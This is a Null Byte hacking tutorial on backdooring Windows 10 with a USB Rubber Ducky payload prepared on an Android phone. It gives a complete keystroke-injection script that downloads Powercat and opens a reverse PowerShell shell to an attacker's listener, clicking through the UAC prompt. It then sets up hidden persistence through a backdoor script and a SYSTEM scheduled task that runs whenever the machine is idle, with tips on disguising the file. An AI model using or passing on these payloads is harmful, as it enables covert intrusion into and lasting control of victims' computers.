Android for Hackers: How to Backdoor Windows 10 Using an Android Phone & USB Rubber Ducky « Null Byte :: WonderHowTo

With an inconspicuous Android phone andUSB flash drive, an attacker can compromise aWindows 10computer in less than 15 seconds. Once a root shell has been established, long-term persistence to the backdoor can be configured with just two simple commands — all while bypassing antivirus software and Windows Defender.How This Attack WorksPowercatis a fully-featuredPowerShellmodule. It operates a lot likeNetcatand allows PowerShell users to create TCP and UDP tunnels with simple command-line arguments. A PowerShell payload will be created to download, import, and execute Powercat in a single command. Then, it will be encoded into a binary format theUSB Rubber Duckycan understand.Using the USB Rubber Ducky, Powercat is executed in Windows 10 as an administrator which quickly establishes a root shell via the attacker's Netcat listener. At that point, persistence is configured using theschtaskscommand, which was designed by Microsoft to automate tasks and commands in Windows 10.Previously:Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellPrerequisitesThere's a bit of hardware required to perform this hack that some of you may already have laying around. Below are the four key items.1. USB Rubber DuckyTheUSB Rubber Duckyidentifies itself as a keyboard when inserted into computers, then proceeds to automatically type malicious commands pre-programmed into its payload. The payload can be customized to perform a myriad of advanced exploits. Prices for the USB Rubber Ducky from Hak5 start at $45.Buy a USB Rubber Ducky fromAmazon|Hak5What the USB Rubber Ducky looks like without its shell.Image by tokyoneon/Null ByteAs an alternative to the USB Rubber Ducky, theNetHunterandDroidDuckyprojects can weaponize Android devices into keystroke injection tools. They requiremodifying the Android operating systemwhich is beyond the scope of this article, unfortunately. Both NetHunter and DroidDucky are fantastic projects for those willing to alter their phone's operating system. Imagine connecting an Android phone to any computer and having it execute complex PowerShell payloads in seconds — no USB Rubber Ducky required.2. Android Device with UserLAnd InstalledAny Android phone or tablet capable of running theUserLAnd appwill be suitable. The device doesn't need to be rooted. All that is required is access to the internet via Wi-Fi and the aforementioned UserLAnd application.Shop for Unlocked Android Phones on Amazon3. OTG Adapter (Conditional)After creating the PowerShell payload (in a later step), it will need to be moved to themicroSD cardin the UBS Rubber Ducky. Some Android phone and tablet models come equipped with a microSD expansion slot for more storage, so if you have one of those, you're good to go since you can transfer the file that way.If your device doesn't have a microSD slot, then you'll need an On-The-Go (OTG) adapter of some sort, which allows you to connect memory cards to your device via the charging port. An all-in-one solution would be theMonoprice USB-C microSD Reader, if your phone has a USB Type-C port. Lexar makesa similar product for Micro-USB ports.On Amazon:Monoprice USB-C microSD ReaderOn Amazon:Lexar microSD Reader with Micro-USB ConnectorSince the USB Rubber Ducky comes with a microSD-to-USB adapter, you could opt for an OTG adapter that has a female USB Type-A end to plug the microSD adapter into. If you have a USB-C port on your Android device,Aukey makes a good adapter. For Micro-USB ports, there are many cheap options available, such asUgreen's cable.On Amazon:Aukey USB-C to USB 3.0 AdapterOn Amazon:Ugreen Micro-USB to USB 2.0 AdapterImage by tokyoneon/Null ByteAlternatively, any combination of adapters can get the job done. As you can see below, I'm using an Aukey adapter coupled with anAnker Portable Card Reader.Image by tokyoneon/Null Byte4. Virtual Private Server (Optional)Whether or not avirtual private server(VPS) is required will depend on the attack scenario. If a Wi-Fi network is shared with the target device, then embedding the attacker's local IP address into the payload will work just fine. In other scenarios, it may be required to deploy aVPSorNgrok server.Don't Miss:The White Hat's Guide to Choosing a Virtual Private ServerStep 1: Getting Started with UserLAndBefore going forward, you should check out Distortion's guide onturning an Android phone into a hacking device without root, as well as my guide onhacking WPA2 Wi-Fi passwords using Android, as they cover the UserLAnd basics and setting up Kali Linux, Ngrok, and installing essential software that will be required to follow along with this article.You'll need to install and configure UserLAnd,create a new file system, and connect to the OSvia SSH with ConnectBot(or JuiceSSH or the built-in SSH client).Step 2: Update the System & Install Essential SoftwareLike any Unix-based device, it's a good idea to make sure the installed packages are fully up to date before proceeding with projects. Be sure toupdate the systemandinstall essential software, as well as install Java which is needed for the USB Rubber Ducky payload, using the below commands.~$ sudo apt-get update && sudo apt-get dist-upgradeThis command can take several minutes to complete depending on the available internet speed and Android CPU. Older Android devices will take longer to download and decompress packages.To install essential software, use the below command.~$ sudo apt-get update && sudo apt-get install net-tools netcat gnupg curl wget git nano screenJava is required to compile Ducky payloads. To install it, use the below command.~$ sudo apt-get install default-jre-headlessFinally, reboot the Android device to ensure all of the package and kernel updates take effect next time the Android boots into the UserLAnd Kali OS.Step 3: Start the Netcat ListenerBased on the attack scenario, there are several ways to set up the Netcat listener that will allow for remote access to the target Windows computer.Local IP Address. If the target computer is on the same Wi-Fi network as the Android device, it will be possible to simply start the Netcat listener in the UserLAnd Kali OS. While private and quick, this method isn't ideal. If and when the target disconnects from the shared Wi-Fi network, the Netcat connection will break and there will be no way of accessing the device as it moves between different networks.Virtual Private Server. VPS's are ideal for remotely hacking targets as they move between different Wi-Fi network anywhere in the world. In this scenario, the attacker would purchase a cheap VPS and SSH in. Netcat and Screen would be installed for long-term persistence into the hacked Windows computer. This can be set up entirely with Android.Ngrok. Setting up remote access using Ngrok has been covered to some degree in "Hack WPA2 Wi-Fi Passwords Using Android." In this case, Ngrok would forward requests back to the attacker's Android device. Free Ngrok accounts don't allow users to recycle subdomains so this would only allow for persistence until the Ngrok server is terminated on the Android device. While it's possible to keep a server up and running in Android for a prolonged period of time, it's inevitable for it to eventually terminate when the Android reboots or silently close the UserLAnd app running in the background.In any case, it's a good idea to set up Screen so that terminal sessions persist despite SSH connections closing.Screenallows users to manage multiple terminal sessions within the same console. Readers are encouraged tolearn how to use Screenas it makes it easy to navigate and "detach" multiple terminal sessions without losing data.To start a new Screen session, simply type screen.~$ screenThen, use theifconfig-acommand to identify the local IP address used by the system. This IP will be required in the next step when creating the payload.~$ ifconfig -a

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.208  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 :::::  prefixlen 64  scopeid 0x20<link>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 95745  bytes 115985231 (110.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 44735  bytes 4289090 (4.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0In the UserLAnd Kali OS, there will be many available interfaces. The "wlan0" or "wlan1" interface will most likely hold the devices local IP address (192.168.0.208). VPS users will instead embed the same external IP address used when SSHing into the server. Ngrok users will have to set up a server and embed the URL into the payload.Finally, start the Netcat listener using the below command.~$ netcat -vv -l -p 1234Using port (-p) 1234, Netcat will listen (-l) on every available interface. The-vv(verbose) will print the target's IP address in the terminal when a new connection is established.Step 4: Create the PayloadAfter the Android reboots, fire up the UserLAnd app and SSH into the new Kali system. Usenanoto create a new "payload.txt" file in the home (~/) directory. This file will contain the Ducky payload in plain text.~$ nano ~/payload.txtComments (REM) have been added to explain what each line of the payload does.REM This first delay stalls the Ducky for 5.5 seconds to give the target
REM operating system some time to mount the USB as a keyboard device.
DELAY 5500
REM Opens the Windows Run prompt.
GUI r
REM Delays .7 seconds to give the Run prompt time to open.
DELAY 700
REM Types the PowerShell payload.
STRING powershell /w 1 /C $a=$env:TEMP;Set-ExecutionPolicy Bypass;wget https://cutt.ly/cW13i -o $a\d.ps1;ipmo $a\d.ps1;powercat -c 192.168.0.208 -p 1234 -e powershell
REM Presses Ctrl + Shirt + Enter to execute the PowerShell with administrative privileges.
CTRL-SHIFT ENTER
REM Delay .85 seconds to give the UAC prompt time to open.
DELAY 850
REM Presses Alt + Y to bypass UAC.
ALT yThere's a lot going on in the PowerShell one-liner. There are multiple commands tied together and separated by semicolons.$a=$env:TEMP— The target's temp directory gets set to the variable $a. This variable is called twice later in the script. First, acting as the output directory for the powercat.ps1 and again called when importing it. Using the single letter $a variable helps shorten the overall length of the payload; It's more effective than using "C:\Users\%USERNAME%\AppData\Local\Temp" several times in the payload.Set-ExecutionPolicy Bypass—Set-ExecutionPolicyis asecurity feature of PowerShellthat prevents many similar PowerShell payloads from being executed. In several tests, I found simply setting the-ExecutionPolicywasn't enough to bypass this security feature. As an administrator (root), this policy can be bypassed.wget https://cutt.ly/cW13i -o $a\d.ps1— PowerShell is instructed toinvoke a web request(wget) and fetch the powercat.ps1 with the shortened cutt.ly URL. This URL links directly to the Powercat GitHub page but can be changed to the full URL or another shortened URL. The powercat.ps1 is saved (-o) to the temp directory ($a) with the file name "d.ps1". The file name was shorted to a single letter to keep the Ducky payload as short as possible.ipmo $a\d.ps1— PowerShell'sImport-Modulefunction is called using the aliasipmo. Again, using the shorter version of the command to keep the Ducky payload short. The powercat.ps1 is imported.powercat -c 192.168.0.208 -p 1234 -e powershell— Finally, Powercat is executed and instructed to connect (-c) to the attacker's server (192.168.0.208) on port (-p) 1234 and execute (-e) PowerShell when the connection is established. This effectively grants the attacker remote access to a root PowerShell terminal.The REM comments can remain in the payload and will not affect the keystroke injections. To save and exit the nano terminal, pressCtrl-x, theny, thenEnter.Step 5: Encode the PayloadUSB Rubber Ducky payloads can't be loaded to themicroSD cardin plain text. Instead, theHak5 Duck Encoderwill be used to convert the plain text payload into a binary format.Don't Miss:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyTo clone the Duck Encoder repository, use the below command.~$ git clone https://github.com/hak5darren/USB-Rubber-Ducky/Change (cd) into the newly created Encoder/ directory.~$ cd USB-Rubber-Ducky/Encoder/And encode the payload.txt using the below command. This command will use the encoder.jar to convert the input (-i) file into the necessary "inject.bin" output (-o) binary. The output file name is not arbitrary and must be named "inject.bin" for the Ducky to execute keystroke injection attacks.~$ java -jar encoder.jar -i ~/payload.txt -o inject.bin

Hak5 Duck Encoder 2.6.4

Loading File .....          [ OK ]
Loading Keyboard File ..... [ OK ]
Loading Language File ..... [ OK ]
Loading DuckyScript .....   [ OK ]
DuckyScript Complete.....   [ OK ]When that's done, there will be a new "inject.bin" file in the Encoder/ directory. This can be verified using the belowls-lcommand.~$ ls -l

-rw-r--r--. 1 root root  1466 Jan 11 11:39 README
-rw-r--r--. 1 root root 57535 Jan 11 11:39 encoder.jar
-rw-r--r--. 1 root root    86 Jan 12 01:57 inject.bin
drwxr-xr-x. 2 root root  4096 Jan 11 11:39 resources
drwxr-xr-x. 2 root root  4096 Jan 11 11:39 srcStep 6: Connect the Ducky MicroSD to the Android DeviceUsing the card reader adapter, internal microSD card slot, or OTG adapter with card reader, insert the Ducky microSD card into the Android device. The microSD file contents can be viewed using Android's Download app.Image by tokyoneon/Null ByteAfter a few seconds, a new removable device will be accessible via the Download app (example). Navigate back to the Kali OS terminal. The Kali OS won't have access to external storage devices (i.e., the microSD card), so the "inject.bin" will first need to be copied (cp) to the /sdcard/Download/ directory, then copied to the microSD using the Android OS.~$ cp ~/USB-Rubber-Ducky/Encoder/inject.bin /sdcard/Download/And there it is, now available in the Download app.Highlight the "inject.bin" and tap the "Copy to" button. Then, copy it to the microSD card and safely eject the microSD from the Android device.Step 7: Let the Hacking BeginInsert the USB Rubber Ducky into the target Windows 10 machine and a new connection to the Android device will be established.~$ nc -vv -l -p 1234

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Connection from 192.168.0.33.
Ncat: Connection from 192.168.0.33:49672.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>Netcat will report a new "Connection from xx.xx.xx.xx" containing the target's IP address. Running a command likelsorpwdwill list files in the current directory or print the current directory name, respectively. The pwnage can begin.Step 8: Establish Persistence (Optional)The first thing to do after establishing a reverse shell is set up persistence in case the current connection is lost. This is an optional step but recommended where long-term exploitation is desired. In Windows 10, there are quite a few ways of establishing persistence. Below is one option.To get started, theschtaskscommand can be used to schedule tasks for Windows 10 to automatically perform. For example, it would be possible to have Windows 10 connect to the attacker's server everyXminutes. TheXbeing an arbitrary amount of time, e.g. 10 minutes or 120 minutes.To get around a target seeing the immutable split second terminal pop-up created by PowerShell,schtaskshas a useful functionality to run commandsonlyif the computer is idle. So, if the screen has gone to sleep or the screensaver is up running, only then will it attempt a connection to the attacker's server. This is ideal for getting the terminal pop-up to execute only when the owner of the PC is away from the device.Theschtaskscommand has a ~175 character limit which can make running long commands challenging. To quickly get around this, first create a "backdoor.ps1" containing the Powercat download, import, execute commands.> echo "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.0.208 -p 2 -e powershell" > C:\ProgramData\Microsoft\Windows\backdoor.ps1The Windows\ directory is being used to store the backdoor.ps1 but this location is completely optional. The directory and file name can be altered to better disguise the location of the script and prevent the target from stumbling upon it. Likewise, the port number (-p 2) can be changed to a different port.Then, useschtasksto execute the "backdoor.ps1" when the computer becomes idle.> schtasks /create /f /ru "NT AUTHORITY\SYSTEM" /tn "backdoor" /tr "powershell -w 1 -ep bypass C:\ProgramData\Microsoft\Windows\backdoor.ps1" /sc onidle /i 1

SUCCESS: The scheduled task "backdoor" has successfully been created.Task Scheduler (schtasks) will create a task with the name (/tn) "backdoor." The task to run (/tr) will execute the backdoor.ps1 script. The frequency (/sc) with which the command is run is set to "onidle" which instructs the computer to run the command only when the device is idle. Finally, the amount in of time (in minutes) is specified by the/iargument and set to1minute.In short, one minuteafterthe target steps away from the computer, it will attempt to execute the backdoor.ps1 embedded in the Microsoft\ directory. Keep in mind, when the target returns, the connection will be automatically terminated by Windows 10. The connection will only persist while the target is away from the computer. Simply restart the Netcat server and wait for the computer to become idle again; a new connection will be attempted every time.Now, using another Screen session, create a new Netcat listener and wait for the Windows machine to become idle.~$ nc -vv -l -p 2

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Connection from 192.168.0.33.
Ncat: Connection from 192.168.0.33:24276.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>There's a lot of fun to be had with schtasks. For more on the available arguments use theschtasks /?andschtasks /Create /?command as shown below.> schtasks /Create /?More Android & PowerShell Hacks to ComeWith an Android and small USB device, an attacker can wreak havoc on a network of Windows computer. With only 15 seconds of physical access required to execute the payload, an administrative shell can be established, allowing the attacker to embed long term persistence into the device.Android with UserLAnd works great as a hacking device. There are some limitations, however. The CPU doesn't quite have what it takes to run full frameworks like Metasploit, Empire, and Wine. In future articles, we'll have some fun with advanced post-exploitation attacks such as capturing keystrokes and recording audio through the microphone using only Android and PowerShell.Don't Miss:More Null Byte Guides on Using Android for HackingFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Catch USB Rubber Duckies on Your Computer with USBRipHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Steal macOS Files with the USB Rubber DuckyHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHow To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark BoardHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Mirror & Control Your Android's Screen on Your Windows PCHow To:Hack Android Using Kali (Remotely)Hacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHow To:Install Android 9.0 Pie Beta on Your Essential PhoneHow To:Install Android 11 on Your Pixel Without Unlocking the Bootloader or Losing DataNews:Hak5 Just Released the Packet SquirrelHow To:Install Android Q Beta on Your Essential PhoneBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:1-Click Root Many Android Devices with Kingo Android RootHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Finally, There's a Better Alternative to Android File Transfer for MacsHow To:The Fastest Way to Transfer Photos & Videos from Your DSLR to Your AndroidHow To:Customize Your Navigation Bar on Android Nougat — No Root NeededHow To:Install the Android M Preview on Your Nexus Device (Using Windows)How To:Use Google's Android Flash Tool to Manually Update Your Phone or Recover from a Soft BrickHow To:Enable the Built-in Screen Recorder on Android 10Android Basics:How to Install ADB & Fastboot on Mac, Linux & WindowsHow To:Unlock the Bootloader on the Essential PH-1How To:Use Your Android Phone as a Wireless Flash Drive for Windows or MacHow To:Root the Nexus 6P or Nexus 5X on Windows, Mac, or Linux—The Foolproof GuideHow To:Fully Control Your Android Device from Any ComputerNews:Use your Android with your Car StereoHow To:Conceal a USB Flash Drive in Everyday ItemsSUBMIT:Your Best Instagram or PicPlz Photo by September 19th. WIN: 10 "Insta-Stickers" [Closed]News:Instagram Is Finally Coming to AndroidHow To:Embed a Backdoor in an Exe File